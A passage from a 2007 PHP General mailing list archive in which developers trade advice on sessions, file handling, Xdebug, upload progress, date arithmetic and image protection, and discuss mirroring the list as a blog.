img src=show.php?FileName=$FileName /
_;


urlencode: http://php.net/urlencode

heredoc syntax: http://php.net/heredoc#language.types.string.syntax.heredoc

isset: http://php.net/isset

file_exists: http://php.net/file_exists

readfile: http://php.net/readfile

@ Error Control Operator: http://php.net/@


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Hide the real URL

2007-07-26 Thread Paul Novitski

At 7/26/2007 08:40 PM, Chris Aitken wrote:

  There's a couple of protect your image schemes that will frustrate
  the typical user, but they can be easily broken, like the one I
  created here:
 
  http://www.webbytedd.com/b/protect_image/
 

 Firefox - Tools - Page Info - Media - Scroll Till Find - Bingo!

Say Firefox to a typical user and they will assume you are swearing at
them in another language.

...

Typical users don't even KNOW they have a printscreen button just like
most typical users don't know there is ANOTHER kind of browser :)



That said, I don't think the hypothetical typical clueless user is 
relevant here.  A user who really wants to scrape images off websites 
will find a way with very little effort -- just google and a few 
clicks -- to view background images, to view page source, to disable 
javascript disabling of context menus, to install Firefox and the web 
developer toolbar, whatever; it's all within easy reach of anyone 
with motivation and average intelligence.  Sure, you can make it 
difficult for X% of computer users to locate your images, but those 
aren't the people you're worried about, it's the Y% who don't take no 
for an answer and try, try again.


Trying to solve the problem of theft of intellectual property at the 
browser level always seems to end in failure.  Just go back to the 
source and provide content that you don't mind people taking cuz you 
can't stop them if they really want to.


Had to smile yesterday, was walking past an espresso bar that doubles 
as an internet cafe.  A customer had approached the counter and was 
asking the barrista how to access his email because he couldn't find 
Explorer, and she advised him to click on Foxfire.  (Great movie, though.)


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 

Re: [PHP] session_start(): Cannot send session cache limiter...

2007-07-20 Thread Paul Scott

On Fri, 2007-07-20 at 16:01 +0800, Vanessa Vega wrote:
 I already put session_start() on topmost part of the file..but i saved the 
 file as utf-8..and that seems to be the problem..can anyone share their 
 knowledge on this?
 
Set your error_reporting to at least E_ALL and check that there are no
problems there first. That should give you more of a clue as to what is
happening.

--Paul 

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Unlink file older then 7 days

2007-07-18 Thread Paul Scott

On Wed, 2007-07-18 at 07:29 +0100, [EMAIL PROTECTED] wrote:
 I need to throw in a wildcard, how would I do that.. I have this so far. 
 which dont work.

foreach(glob(*.asc.txt) as $files)
{
unlink($files);
}

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Xdebug 2 released.

2007-07-18 Thread Paul Scott

On Wed, 2007-07-18 at 21:23 +0200, Derick Rethans wrote:
 Now head over to the Xdebug site [2] and try it out! 

I have been using the XDebug RC for a while now, and am really glad that
it is now stable! Thanks very much, it is one of the most important bits
in my toolbox.

http://fsiu.uwc.ac.za/index.php?module=blogaction=viewsinglepostid=gen9Srv59Nme5_9262_1182142431userid=3897070607

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] PHP-5.2.3 and Internal Server Error

2007-07-17 Thread Paul Scott

On one of our test boxen, we recently upgraded to PHP-5.2.3 and all of a
sudden started getting Internal Server Errors. The Apache log file tells
me that there is a premature end of script error on index.php, which is
simply an entry point script to an MVC framework.

I have checked that there is no whitespace after the closing ? tag and
all, and have removed almost everything that I can think of that may be
causing something like this. 

It seems to choke on the call to ob_start()...

Anyone have any ideas that may shed some light on this one?

Appreciate any helpful tips.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Upload Tracker.

2007-07-17 Thread Paul Novitski

At 7/17/2007 11:46 AM, Tom Ray [Lists] wrote:
I'm a little unsure on how to do this but basically when someone 
uses a form to upload a file I want to have a popup window come up 
and so the process in percentage of the transfer.  Anyone do this 
before? Is it possible in PHP or do I need to do it in javascript or 
a mixture of both?



Upload progress can't be reported using PHP alone, but here's a 
PHP-perl amalgam you can check out:


Mega Upload
http://www.raditha.com/php/progress.php

I haven't used it can can't vouch for it.  When I tried their demo it 
failed but I think for reasons other than the functionality of the 
widget itself.


Paul 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP-5.2.3 and Internal Server Error

2007-07-17 Thread Paul Scott

On Tue, 2007-07-17 at 18:06 -0500, Richard Lynch wrote:
 Run the same script with php CLI and see what it outputs.
 

Goes through without a problem. 

 Open the script in various editors to be sure there's no stray
 un-printable character in the source.
 

Checked. This is from one of our releases, so it has been checked, but I
have now re-checked and all seems OK.

 Set error_reporting to E_ALL.
 

It always is on our test and development boxes.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Re: Pirate PHP books online?

2007-07-17 Thread Paul Novitski

At 7/17/2007 07:42 PM, you wrote:

Really people.  I find it hard to believe that the otherwise-intelligent
people on this list have such a hard time with the concept that something
should not be done for reasons that don't involve physical property, just as
I find it hard to believe that making up things that someone supposedly said
has suddenly become the in thing to do.



Larry, please relax a little and don't take these comments so 
personally.  As you point out, most folks who have posted to this 
thread are not responding to what you've actually written.  When you 
make the technical point that copyright infringement isn't the same 
as property theft, some people have misunderstood and thought you 
meant that copyright infringement isn't a bad thing.  I suggest that 
their missiles aren't actually aimed at you, so just turn your head 
and watch them go by.  They're really aimed at the violation of those 
intellectual property rights by which nearly everyone on this list 
survives, or tries to.  Naturally it's a hot topic.  But it's not 
about you.  The issue of whether property theft and copyright 
infringement are governed by different legal codes is interesting to 
an extent but clearly separate from the issue of whether or not 
copyright infringement is an abhorrent practice.  Since you clearly 
realize that folks are really addressing the latter issue, one with 
which you apparently agree, I suggest you let go of the fact that you 
contributed the former idea since almost no one is actually 
addressing it.  So far you're shouting past them as much as they're 
shouting past you because you're all addressing different topics in a 
single thread.


Warm regards,

Paul
__

Juniper Webcraft Ltd.
http://juniperwebcraft.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] PHP 101 Podcasts

2007-07-16 Thread Paul Scott

I have decided to take a stab at lecturing, and have taken on a group of
2nd year computer science students at UWC to teach PHP to. 

I would like to make use of some podcasts and/or other CC licensed
content to make it a little more enjoyable than Read the manual, write
unit tests, code, ship with some multimedia in the form of audio/video
and presentations.

Anyone have any pointers for me? I would greatly appreciate some content
keeping in mind that these students have never even heard of PHP...

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] acerca de extensiones SQL Server

2007-07-14 Thread Paul Scott

On Sat, 2007-07-14 at 19:57 +0200, M. Sokolewicz wrote:
 That's assuming he wanted specifically MySQL. The OP's post did not 
 actually state _which_ extension he wants to use, nor to which RDBMS he 
 wants to connect (at all). To the OP: SQL is simply a language, what you 
 want is a database-system which works with that language. There are a 
 lot of good DataBase Management Systems, of which MySQL is a commonly 
 available one.
 

What you want to do on debian is to aptitude install either:

php5-mysql OR php5-pgsql OR oci8 or something else for a different
RDBMS. If your db server is a separate machine, you will want the client
code as well, which will mean an install of, say, libmysqlclient as well
for mysql.

If you want both php and db on the same box, simply do an aptitude
install mysql-server-5.0 and mysql-client-5.0 as these meta packages
will install what you need as well as php5-mysql and/or php5-mysqli

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Re: PHP Brain Teasers

2007-07-06 Thread Paul Novitski

At 7/5/2007 01:45 PM, Daniel Brown wrote:

$objects-original_image =
http://www.sewterific.com/images/Just%20Baskets/SmPicnicBasket.jpg;;

$_SCRIPT[word] = task;
$_SCRIPT[otherword] = ticket;

$update_word1 = $_SCRIPT[word].et;

$rgb1 = 134,89,32;
$rgb2 = 231,223,48;

$objects-paint($objects-original_image,$rgb1,$rgb2,$update_word1,str_replace(c,s,$_SCRIPT[otherword]));



Without bothering to run the code I'd say a tisket, a tasket, a green 
and yellow basket.  Now what obscure corner of childhood poetry 
memories did that come from?  It's easy to google...  My god, Ella 
Fitzgerald?  THE Ella Fitzgerald??  Yowsa!


Bemusedly,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] PHP Brain Teasers

2007-07-03 Thread Paul Novitski

At 7/3/2007 12:11 PM, Jay Blanchard wrote:

[snip]
if($x == 0.01 || $x == 1.0){
   $y = in;
}
[/snip]



In for a penny, in for a pound.  Metric, that is!

Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Date Calculation Help

2007-06-30 Thread Paul Novitski

At 6/30/2007 08:14 AM, revDAVE wrote:

I have segmented a year into four quarters (3 months each)

nowdate = the month of the chosen date (ex: 5-30-07 = month 5)

Q: What is the best way to calculate which quarter  (1-2-3 or 4) the chosen
date falls on?

Result - Ex: 5-30-07 = month 5 and should fall in quarter 2



If you divide the month number by 3 you get:

1   0.3
2   0.7
3   1
4   1.3
5   1.7
6   2
7   2.3
8   2.7
9   3
10  3.3
11  3.7
12  4

The first digit is off by one, so subtract .1 from each result:

1   0.2
2   0.56667
3   0.9
4   1.2
5   1.56667
6   1.9
etc.

Now you can see from the first digit that if you take the integer 
value and add 1 you'll get:


1   1
2   1
3   1
4   2
5   2
6   2
etc.

In PHP this could be:

intval(($month - .1)/3 + 1)
or:
intval(($month + .9)/3)

I believe you can use intval() and floor() interchangeably in this 
circumstance.


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] simplexml_load_file and proxy auth

2007-06-29 Thread Paul Scott

Does anyone know of a way to pass proxy auth to simplexml_load_*?

Previously, I have used cURL to return the XML string from remote, but
this seems kind of hacky to me, and was wondering if anyone had a better
solution?

Thanks

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] HELP - I have tried to unsubscribe from this list mutiple times but cannot.

2007-06-29 Thread Paul Scott

On Fri, 2007-06-29 at 01:59 -0400, -Patrick wrote:
 I no longer have a need for this list and My mailbox is getting flooded, 
 Can someone assist ?

Read the footer on every single mail posted to this list to unsubscribe

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Currency Exchange Database?

2007-06-28 Thread Paul Scott

On Thu, 2007-06-28 at 20:44 -0400, Tom Ray [Lists] wrote:
 I have a client that's looking to do auto conversions of currency on 
 their reservation payment form. No big deal, I can that part down. 
 However, exchange rates change on a minute to minute basis and they want 
 the program to automatically know the current rates. Is there an online 
 database or a way I can tap into a database that has that information?
 

I am pretty sure, although I may be wrong, that http://xe.com provides a
webservice for this.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] PHP P O K E R...... and JAVA (convert)

2007-06-27 Thread Paul Scott

On Wed, 2007-06-27 at 14:17 +0200, Tijnema wrote:
 Not too hard to program right?

As long as you keep on assuming that you are playing with infinite decks
of cards, and not marking cards as dealt as you deal.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Program Execution and reading results

2007-06-21 Thread Paul Scott

On Thu, 2007-06-21 at 01:13 -0700, makhan wrote:
 Thanks Paul for your response. my issue is not just reading from the output
 text file. But my issue is what I would do in the php script while the
 program is execting( i.e after issueing shell_exec() command) and how would
 i know that file has been written so that i can read it using php.

If its a really long process, use a callback function to email you or
just display a message on screen

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] open a file in a folder without knowing the filename

2007-06-21 Thread Paul Scott

On Thu, 2007-06-21 at 01:49 +0100, Graham Shaw wrote:
 I'm probably missing something really obvious here but how would I go about 
 opening a file or multiple files in a folder without knowing the filename 
 ahead of time?

You can use the glob function http://www.php.net/glob to build an array
of the files in a directory, according to a filter if needs be, and then
use a foreach to manipulate them

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Program Execution and reading results

2007-06-20 Thread Paul Scott

On Wed, 2007-06-20 at 21:42 -0700, makhan wrote:
 Now after my
 program has written its output I want to read this text file from php and
 send it back to the browser.
 Can someone please guide me how I can do this.

This seems like an overly complex way of doing something that sounds
quite simple, but anyway, you can use fopen() to open up the resultant
file and do what you need with it.

http://www.php.net/fopen

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Force zero numbers on a integer

2007-06-19 Thread Paul Scott

On Tue, 2007-06-19 at 13:17 -0300, [EMAIL PROTECTED] wrote:
 I have a integer that is submitted by the user and i need it to always
 contain 5 digits.
 

str_pad($userSubmittedNumber, 5, 0, 0);

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Php script diagnostic app?

2007-06-17 Thread Paul Scott

On Sun, 2007-06-17 at 13:53 -0400, Robert Cummings wrote:
 I believe there are profiling tools... probably from Zend. How big is

I prefer using XDEBUG, which is totally free. You can install it from
the pecl repositories: pecl install xdebug

Then, you simply install it as an extension on your development machine,
and execute your scripts. A really nice feature of xdebug is that not
only does it give you detailed stack traces and things when stuff goes
wrong, but you can also do really excellent (and graphical) profiling in
combination with cachegrind (I use KCacheGrind on Ubuntu), which uses
GraphViz to make very interesting graphs of what your code is doing.

If you would like a more detailed HOWTO, please let me know, and I will
write up something for you.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Php script diagnostic app?

2007-06-17 Thread Paul Scott

On Mon, 2007-06-18 at 06:39 +0200, Paul Scott wrote:
 If you would like a more detailed HOWTO, please let me know, and I will
 write up something for you.

http://fsiu.uwc.ac.za/index.php?module=blogaction=viewsinglepostid=gen9Srv59Nme5_9262_1182142431userid=3897070607

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] The data get lost when click back button

2007-06-16 Thread Paul Scott

On Sat, 2007-06-16 at 12:47 -0300, Tom wrote:
 How can I make in simple way that, the data in the fields don't get lost 
 when the user returning to the form?

You can add the field data to a session:

$field1 = $_GET['field1'];
$_SESSION['field1'] = $field1;

// then to get them back again

if(isset($_SESSION['field1']))
{
$field1 = $_SESSION['field1'];
}

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] Install question

2007-06-15 Thread Paul K
I have just started with a clean install on a Windows XP Pro system, 
Apache 2.24 and PHP 5.2.3


Apache Monitor reports Apache/2.24(Win32)PHP/5.2.3.

I can access html files just fine but I can't even run a test program

?php
phpinfo();
?

Nothing displays.

Where do I look to see whats wrong?

Paul

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] PHP list as a blog

2007-06-13 Thread Paul Scott

On Wed, 2007-06-13 at 12:08 +0200, Zoltán Németh wrote:
 is this the link:
 http://196.21.45.50/fsiu/chisimba_framework/app/index.php?module=blogaction=allblogs
 ?
 (this was in your original post)
 

No, sorry, I have just updated the DNS. Try http://fsiu.uwc.ac.za/ now.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Re: PHP list as a blog

2007-06-13 Thread Paul Scott

On Wed, 2007-06-13 at 11:51 +0100, Colin Guthrie wrote:
 Erm, reinventing the wheel?
 

Not quite, more of a test of the code so that I know that Bad Things do
not happen when there is a lot of traffic/posts.

If it serves another purpose (like letting students etc see what is
happening) all the better.

I notice that gmane blogs do not obfuscate the email addresses of
senders though.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP] PHP list as a blog

2007-06-13 Thread Paul Scott

On Wed, 2007-06-13 at 12:57 +0200, Zoltán Németh wrote:
 okay, that works.
 just one problem: the UTF-8 characters are screwed up (for example á and
 é in my name - I send my mails in UTF-8 so that cannot be the problem)
 

I noticed. What we did was tack this site (which normally runs of
postgres) to an older version MySQL (I think its 4.1 or so) that may or
may not have the UTF-8 stuff enabled on it.

I will get the mysql admins to fix it as soon as possible.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Re: PHP list as a blog

2007-06-13 Thread Paul Scott

On Wed, 2007-06-13 at 12:26 +0100, Colin Guthrie wrote:
 Depends on the list settings - it can be turned on with the flick of a
 switch... just ask the guys at Gmane.
 

Sure, but most lists do not do this by default...

 It's quite annoying for trying to contact someone tho' :)
 
It's even more annoying getting a zillion spammers knocking over your
mailserver for no reason. :)

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Address validation API's for PHP

2007-06-13 Thread Paul Scott

On Wed, 2007-06-13 at 07:45 -0500, Jay Blanchard wrote:
 I am looking for an address validation database and API to use with our
 retail applications (does not have to be free). 

Not sure entirely of what you are looking for here, but try
http://www.geonames.org first. It's CC licenced so that sweetens the pot
even more.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP] PHP list as a blog

2007-06-13 Thread Paul Scott

On Wed, 2007-06-13 at 13:13 -0500, Richard Lynch wrote:

 I am currently averaging 2 posts per year, roughly, including today's
 rant about header(Location:):

I was asked to write a blog, I am no blogger myself, thought it was a
cool challenge to make a good one, so I took it on. Personally, I think
that the blogosphere is a mix of exhibitionists and voyeurs... 

No offence intended, just a personal opinion. I think I need some sleep.

--Paul


All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] PHP list as a blog

2007-06-13 Thread Paul Scott

On Wed, 2007-06-13 at 13:16 -0500, Richard Lynch wrote:
 Oh, we'll fill that sucker up pretty fast... :-)
 
Thats what I am counting on!

I have been on this list a while, and a couple flamewars should do the
trick :)

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] PHP list as a blog

2007-06-13 Thread Paul Scott

On Wed, 2007-06-13 at 13:15 -0500, Richard Lynch wrote:
 Do students and interns still have quotas on their email accounts?...
 

Students get 100MB, interns and staff too. That is storage space on the
IMAP server though, if you POP it off (like I do) you can get over 1GB
of mail a month (like I do) :)

 Cuz I *DO* remember the days when the email quotas a University would
 have prohibited subscribing to PHP mailing list...
 

Pegasus mail rocked. *still* one of the best mail clients I ever used.

 Surely in this day and age, the quotas aren't *that* restrictive...

No, not really, but the point here is that most of the students and
interns that we hire to code on our framework have little to no
experience switching on a PC, never mind producing decent PHP. Mailing
lists, for some obscure reason, are their nemesis, so the easier I can
make it for them to communicate and get over the initial barriers to
FOSS development, the better.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP] PHP list as a blog

2007-06-13 Thread Paul Scott

On Wed, 2007-06-13 at 13:13 -0500, Richard Lynch wrote:
 On Tue, June 12, 2007 11:39 pm, Paul Scott wrote:
 It's a blog.
 
 People type things.
 

Not quite anymore...

I have added our set of filters to the output now, so that you can add
in bbcode tags as well as a number of other things, like youtube videos,
google maps, google videos timelines, mindmaps (freemind), personal data
etc etc.

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] PHP list as a blog

2007-06-12 Thread Paul Scott

I have set up our new Chisimba blog system (GPL, http://avoir.uwc.ac.za)
to blog all of the posts to this list.

Please check it out at
http://196.21.45.50/fsiu/chisimba_framework/app/index.php?module=blogaction=allblogs

and let me know what you think!

Thanks

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] PHP list as a blog

2007-06-12 Thread Paul Scott

On Tue, 2007-06-12 at 14:48 -0500, Richard Lynch wrote:
 I think you should take it DOWN until you can obfuscate the emails.

I am working on it at the moment. It seems that it only shows some
people's addresses - presumably those that have the reply to thing set?

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP] PHP list as a blog

2007-06-12 Thread Paul Scott

On Tue, 2007-06-12 at 14:56 -0500, Jay Blanchard wrote:
 + 10*12^23, I don't want to be that famous.
 
OK, downed it. Will figure out a regular expression to strip out the
email addresses when I have had some coffee in  the morning

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP] PHP list as a blog

2007-06-12 Thread Paul Scott

On Tue, 2007-06-12 at 16:02 -0500, Richard Lynch wrote:
 I'm not sure we need yet another archive of the list, though I suppose
 having it on a blog with the RSS and whatnot all built-in is kinda
 nifty, possibly, for some users somewhere.

Our interns and students specifically. They are all dead scared of
joining mailing lists in general, and find that using a web based
prettier interface is much easier and friendlier. They will also now be
able to at least read what is going on through the RSS feeds etc as well
as have an easily searchable archive of various lists (Planning on
aggregating a bunch of lists including PHP, PEAR, (which we use in our
daily work building Chisimba and the Chisimba Framework) as well as some
decent linux users groups etc.

 
 I got no idea why some emails appear and others don't.  Sorry.
 
I am pretty sure that it is only people that have a reply-to address
specified in their mail client. Not to worry though, I will have a regex
smashed out in no time to strip out the RFC formatted email addresses...

 Hopefully comparing email headers to output will clarify that.
 

Not sure what you mean there, but, rest assured, I will have it fixed up
in no time.

BTW, could I get your opinions on the blog software itself? This is
running a CVS checkout of the Chisimba framework with the blog module
installed.

(Oh and I will get to the W3C compliance ASAP as well - I was leaving it
until I had put in all of the features so as to fix it once...)

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP] PHP list as a blog

2007-06-12 Thread Paul Scott

On Tue, 2007-06-12 at 16:02 -0500, Richard Lynch wrote:
  OK, downed it. Will figure out a regular expression to strip out the
  email addresses when I have had some coffee in  the morning

I have added a regex to strip out the mail addresses and replace them
with a message saying that they have been removed. I will put this list
back on now for a test period if that is OK?

Thanks all for the feedback, I really appreciate it!

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] PHP list as a blog

2007-06-12 Thread Paul Scott

On Wed, 2007-06-13 at 13:21 +0800, Crayon Shin Chan wrote:
 Not to mention slower, clumsier and more bandwidth hungry than a mailing 
 list. It's time you did them a favour and show them that mailing lists 
 are nothing to be afraid of.

Absolutely! I couldn't agree more! It is really very difficult to change
mindsets, but if you show people slowly that the world is not so bad,
they tend to work on it better. In Africa, we have massive bandwidth
problems, but in order to address some of these issues, we have to get
people communicating via the path of least resistance first, hence the
need for these types of systems.

This was done as well to give my blog code a bit of a test drive as
well, I had no idea how it would perform with lots of posts too, so I
will also be able to optimize queries etc as the posts fill up. 

--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Updating dropdown list

2007-06-11 Thread Paul Novitski

At 6/11/2007 11:38 AM, Ashley M. Kirchner wrote:
   I have a page containing two drop down lists.  I need to figure 
out a way to populate/update the second drop down list based on a 
selection of the first one (the data for both drop down lists is in 
a MySQL database).  Is this something I need to do in 
JavaScript?  Or can I somehow trick PHP to do this?



I don't think you need to trick PHP -- it will be friendly and 
cooperative as long as you feed it some nice juicy strings from time to time.


The main difference between implementing this in javascript and 
implementing it in PHP is that PHP will require a round-trip to the 
server between menu changes, while javascript will act more immediately.


Because javascript is so commonly disabled, I write the logic first 
in PHP so that everyone can use the page, then again in javascript to 
enhance the experience for folks with scripting enabled.  This is not 
a doubling of work: both scripts can utilize the same datasets (since 
PHP is downloading the page it can feed javascript a version of the 
same data it uses), and both scripts have very similar syntax 
(they're really cousins) so it's possible in many cases to write 
nearly identical logic in key functions, reducing programming, 
debugging, and maintenance time.  This technique is known variously 
as 'unobtrusive javascript' and 'progressive enhancement.'


Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] explode string at new line

2007-06-06 Thread Paul Novitski

At 6/5/2007 10:50 PM, Jim Lucas wrote:

Windows uses \r\n newlines; *nix uses \n; Mac uses \r.

...

PHP Code:
$txt = preg_replace('/\r\n|\r/', \n, $txt);



Another way to write that PCRE pattern is /\r\n?/ (one carriage 
return followed by zero or one linefeed).


I recall also running into \n\r although I can't recall which system uses it.

As an alternative to PCRE, we can pass arrays to PHP's replace functions, e.g.:

$txt = str_replace(array(\r\n, \n\r, \r), \n, $txt);

Regards,

Paul
__

Paul Novitski
Juniper Webcraft Ltd.
http://juniperwebcraft.com 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Return or not to return, that is the question

2007-05-30 Thread Paul Scott

On Wed, 2007-05-30 at 12:20 +0100, Dave Goodchild wrote:
 If there is no need to return a value then I don't do so. However, the
 function is going to process something, and surely you should check that the
 processing has succeeded or failed?

If you unit test, then returns become quite important, so I almost
always return;

--Paul

All Email originating from UWC is covered by disclaimer 
